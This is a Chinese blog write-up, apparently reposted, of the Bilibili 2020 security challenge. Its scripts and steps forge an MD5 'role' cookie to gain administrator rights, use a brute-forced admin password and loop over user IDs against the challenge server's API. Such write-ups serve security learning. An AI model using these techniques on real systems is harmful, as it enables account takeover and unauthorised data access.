当前位置:首页 > 短视频综合 > 正文

bilibili_2020安全挑战赛记录

2020-10-29 16:15:38 暂无评论 短视频综合



目录:

1.前言

2.页面后面是什么?

3.真正的秘密只有特殊的设备才能看到

4.密码是啥?

5.对不起权限不足~

6.别人的秘密

7.结束亦是开始

8.前五题一键出flag脚本





1.前言

 昨天是10月24号,国内行业内的人几乎都把这一天作为程序员的节日了。本来在B站上看Geekpwn比赛的我,突然发现B站也搞了一个安全挑战赛。ctf打的少没啥经验。

 后来有人在github上说,这个整的就是NU1l的屠榜赛。人家Nu1l可是国内有名的CTF战队。不知道的百度一搜一大堆。






2.页面后面是什么?

http://45.113.201.36/index.html


 这第一题就有点懵,打开就一个index页面。

审查元素:


删除type的hidden属性看看:

删除type后flag1就出来了。

flag1:5f8a5e0b-058db475-2839dfb2-dce9500d




3.真正的秘密只有特殊的设备才能看到

http://45.113.201.36/index.html


代码审查:

 在前端代码中提到:需要使用bilibili Security Browser浏览器访问。一开始挺蒙的,访问/api/ctf2接口啥也没有。

 只能看到api接口有"code"、“data”和“msg”字段。正在一筹莫展的时候,在群里有人说改UA,顿时我就明白了。看来还是CTF玩的少,这源码里给的提示看不懂啊。


 可以看到,访问api接口,修改User-Agent后,flag2就显示在data字段中。为什么要提这个呢?因为有个大佬根据这api的规律(前5题flag都在data字段中)写了一个python脚本,只需要run一下,前五题的flag就出来了。

flag2: 38810a10-6f2122e7-95e13664-ddadafd5




4.密码是啥?

http://45.113.201.36/login.html

 打开页面,发现了了登录框,首先试了万能密码,发现不行。用Burpsuite批量跑了SQL注入和xss注入,无果。

 看来只剩弱口令了,构造字典进行爆破,没想到爆破成功了。账号密码:admin  bilibili

flag3:618a524f-bb29ead4-741c2e2a-c20e1184




5.对不起权限不足~

http://45.113.201.36/superadmin.html

审查代码:

  上面提到只有超级管理员才能看见,提示我们要提权,怎么提权呢?超级管理员:administrator。怎么才能成为超级管理员呢?

 在页面的Cookie中发现有role参数。发现role的值是32位,MD5解密看看。


 user,那我现在知道要怎么伪装成超级管理员了。尝试了administrator的MD5,发现不行,原来A得大写。Administrator的md5是:7b7bc2512ee1fedcd76bdc68926d4f7b


flag4:9d5a3580-3d683787-54487951-0beae5ed




6.别人的秘密

http://45.113.201.36/user.html

审查代码:


代码解释:

 下面的正则我也看不懂,要好好记录一下。

var reg = new RegExp("(^|bai&)"+ name +"=([^&]*)(&|$)");

这个正则是寻找“&+url参数名字=值+&”,&可以不存在。

var r = window.location.search.substr(1).match(reg);

if (r!=null) return unescape(r[2]); return null;

 这里是开始匹配,找到了就返回对应url的值,没找到返回null。match()方法可以在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。


 提供了一个api接口:/api/ctf/5?uid=,有uid参数。这里某个大佬写了个遍历uid的py脚本,拿到了flag5。在原来的基础上我改了改。

bctf5.py:


#!/usr/bin/python3# -*- coding: UTF-8 -*-# Author:unknow# Rewrite by afei
import requestsimport jsonimport sys
'''session = input("请输入你的session:")headers = { 'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'}
for i in range(100336889, 999999999): response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers = headers).json() if response['data'] != '': print("The bctf5 flag is:", response['data'])'''
def flag5(): if(len(sys.argv) < 2): print("-----------------------------------------------") print(" ") print("Useg: python %s <session> eg: eyJ1aWQiOiIzODQ5OTQ1OTcifQ" % sys.argv[0]) print(" ") print("-----------------------------------------------") return
session = sys.argv[1] headers = { 'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'}
for i in range(100336889, 999999999): response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers = headers).json() if response['data'] != '': print("The bctf5 flag is:", response['data']) return
if (__name__ == '__main__'): flag5()

flag5:ffd697c7-d925703a-4e0d54bc-5918ba2e




7.结束亦是开始

http://45.113.201.36/blog/single.php?id=1

 从第6题开始,发现78910题都能打开,并且只有这一个URL。

 呃呃呃,什么情况?打开报404,捣鼓了半天,没思路。群里一问,被人把blog删了。唉,无语了。


 修复之后发现页面是可以打开,但也只有http://45.113.201.36/blog/single.php?id=1这一个页面,其他都无法访问,不知道是不是正常的。没法玩了。




8.前五题一键出flag脚本

 在群里某个大佬根据前5题的规律写出了一个简单的py脚本。

2020-1024.py:

#!/usr/bin/python3# -*- coding: UTF-8 -*-# Author: unknow
import requestsimport json
session = input('请输入你的session:')headers = { 'User-Agent': 'bilibili Security Browser', 'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'}response = requests.get('http://45.113.201.36/api/admin', headers=headers).json()print('第1题答案是:', response['data'])
response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json()print('第2题答案是:', response['data'])
headers = { 'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee', 'Content-Type': 'application/json'}data = { "username": "admin", "passwd": "bilibili"}response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json()print('第3题答案是:', response['data'])

headers ={ 'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'}
response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json()print('第4题答案是:', response['data'])

for i in range(100336850, 999999999): response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973 if response['data'] != '': print('第5题答案是:', response['data'])

前五题思路可参考文章

https://blog.csdn.net/YooLcx/article/details/109260556


更多文章请前往:https://blog.csdn.net/qq_41490561




更多精彩内容请关注我们



往期推荐

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

360CRT CVE-2020-16898 微软TCP IP远程执行代码通告

文章转载自微信公众号网络运维渗透

博客主人破茧短视频培训
破茧短视频为你分享抖音、快手等短视频平台的视频拍摄、剪辑和运营技巧,另有短视频培训学习教程,海量干货助你玩转短视频运营!。
  • 51952 文章总数
  • 4875922访问次数
  • 2205建站天数